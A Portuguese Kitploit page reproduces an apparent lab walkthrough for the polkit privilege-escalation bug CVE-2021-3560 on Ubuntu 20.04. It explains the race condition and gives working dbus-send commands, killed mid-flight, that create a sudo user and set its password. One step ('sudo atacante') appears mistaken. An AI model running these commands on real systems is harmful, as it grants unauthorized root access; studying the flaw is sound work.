Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/assassinukg/polkit-cve-2021-3560
Escalada de PrivilégiosAnálise de VulnerabilidadesExploraçãoTestes de PenetraçãoAprendizado e Educação
GitHubassassinukg/polkit-cve-2021-3560

Polkit-CVE-2021-3560

Guia passo a passo para explorar o CVE-2021-3560, uma vulnerabilidade de escalonamento de privilégios no polkit, incluindo contexto, análise de vulnerabilidade e comandos manuais de exploração.

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Ver Repositório
243há 5 anosRevisado pelo Kitploit

Polkit-CVE-2021-3560

Contexto

No início de 2021, um pesquisador chamado Kevin Backhouse descobriu uma vulnerabilidade de escalonamento de privilégios de sete anos (designada CVE-2021-3560) no utilitário polkit do Linux. Felizmente, diferentes distribuições do Linux (e até mesmo versões diferentes das mesmas distribuições) usam versões diferentes do software, o que significa que apenas algumas são vulneráveis.

Especificamente, as seguintes distribuições mainstream, entre outras, eram vulneráveis:

Red Hat Enterprise Linux 8 Fedora 21 (ou posterior) Debian Testing ("Bullseye") Ubuntu 20.04 LTS ("Focal Fossa") Todas devem ter lançado versões corrigidas de seus respectivos pacotes polkit, no entanto, se você encontrar uma dessas distribuições, ela ainda pode estar vulnerável se não tiver sido atualizada por um tempo.

Para esta sala, vamos focar especificamente no Ubuntu 20.04. A Canonical lançou uma correção para sua versão do polkit (policykit-1), que tem o número de versão 0.105-26ubuntu1.1. A última versão vulnerável disponível nos repositórios apt para Focal Fossa é 0.105-26ubuntu1, então, se você vir esta, pode ter sorte!

Podemos usar apt list --installed | grep policykit-1 para verificar a versão instalada do polkit:

O que é o Polkit?

A pergunta lógica a fazer agora é: "O que é o polkit?"

O Polkit faz parte do sistema de autorização do Linux. Na prática, quando você tenta realizar uma ação que requer um nível mais alto de privilégios, o policy toolkit pode ser usado para determinar se você tem as permissões necessárias. Ele é integrado ao systemd e é muito mais configurável do que o sistema sudo tradicional. De fato, às vezes é referido como o "sudo do systemd".

Vulnerabilidade

  • O atacante envia manualmente uma mensagem dbus para o accounts-daemon solicitando a criação de uma nova conta com permissões sudo (ou posteriormente, uma senha a ser definida para o novo usuário). Essa mensagem recebe um ID único do dbus-daemon.
  • O atacante mata a mensagem depois que o polkit a recebe, mas antes que o polkit tenha a chance de processá-la. Isso efetivamente destrói o ID único da mensagem.
  • O Polkit pergunta ao dbus-daemon o ID do usuário que enviou a mensagem, referenciando o ID da mensagem (agora excluído).
  • O dbus-daemon não consegue encontrar o ID da mensagem porque nós o matamos na segunda etapa. Ele lida com o erro respondendo com um código de erro.
  • O Polkit lida incorretamente com o erro e substitui 0 pelo ID do usuário — ou seja, a conta root da máquina.
  • Pensando que o usuário root solicitou a ação, o polkit permite que a solicitação passe sem contestação.

Exploração

  • Primeira mensagem dbus
root@kitploit:~
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:atacante string:"Conta do Pentester" int32:1

Este comando enviará manualmente uma mensagem dbus para o daemon de contas, imprimindo a resposta e criando um novo usuário chamado atacante (string:atacante) com uma descrição de "Conta do Pentester" (string:"Conta do Pentester") e associação ao grupo sudo definida como verdadeira (referenciada pela flag int32:1).

  • Segunda mensagem
root@kitploit:~
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/UserID_DO_USUARIO org.freedesktop.Accounts.User.SetPassword string:'HASH_DA_SENHA' string:'Pergunte ao pentester'

Isso envia novamente uma mensagem dbus para o daemon de contas, solicitando uma alteração de senha para o usuário com um ID que especificamos (mostrado em vermelho), um hash de senha que precisamos gerar manualmente e uma dica ("Pergunte ao pentester").

Como isso é efetivamente uma condição de corrida, primeiro precisamos determinar quanto tempo nosso comando levará para ser executado. Vamos tentar com a primeira mensagem dbus: time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:atacante string:"Conta do Pentester" int32:1

ex:

root@kitploit:~
real 0m0.11s
user 0m0.002s
sys  0m0000s

Isso leva 0,011 segundos, ou 11 milissegundos. Esse número será ligeiramente diferente cada vez que você executar o comando; no entanto, na máquina fornecida, deve ficar sempre em torno desse valor.

Precisamos matar o comando aproximadamente na metade da execução. Cinco milissegundos geralmente funcionam bem na máquina fornecida; no entanto, esteja ciente de que isso não é algo exato. Você pode precisar alterar o tempo de sleep ou executar o comando várias vezes antes que funcione. Dito isso, uma vez que você encontre um tempo que funcione, ele deve funcionar consistentemente. Se estiver com dificuldades para encontrar um tempo que funcione, colocar o comando dentro de um loop for do bash e percorrer rapidamente uma faixa de tempos tende a funcionar bem.

Vamos tentar. Precisamos enviar a mensagem dbus e depois matá-la aproximadamente na metade:

root@kitploit:~
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:atacante string:"Conta do Pentester" int32:1 & sleep 0.005s; kill $!

Para explicar o comando acima, enviamos a mensagem dbus em um job em segundo plano (usando o e comercial para colocar o comando em segundo plano). Em seguida, dissemos para dormir por 5 milissegundos (sleep 0.005s) e depois matar o processo anterior ($!). Isso criou com sucesso o novo usuário, adicionando-o ao grupo sudo. Devemos anotar neste ponto que o ID do usuário do novo usuário neste caso é 1000.

root@kitploit:~
id atacante

Agora só precisamos dar uma senha ao usuário e estamos prontos!

Precisamos de um hash de senha aqui, então vamos gerar um hash Sha512Crypt para nossa senha escolhida (Expl01ted): openssl passwd -6 Expl01ted

Usando openssl, geramos uma senha do tipo 6 (SHA512-crypt) e nossa senha em texto simples (Expl01ted).

Agora vamos finalizar isso! 5 milissegundos funcionaram da última vez, então deve funcionar aqui também:

root@kitploit:~
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1000 org.freedesktop.Accounts.User.SetPassword string:'$6$TRiYeJLXw8mLuoxS$UKtnjBa837v4gk8RsQL2qrxj.0P8c9kteeTnN.B3KeeeiWVIjyH17j6sLzmcSHn5HTZLGaaUDMC4MXCjIupp8.' string:'Pergunte ao pentester' & sleep 0.005s; kill $!
root@kitploit:~
sudo atacante
sudo -l
sudo -s

Referência

https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/
https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/#about

Baixar ferramenta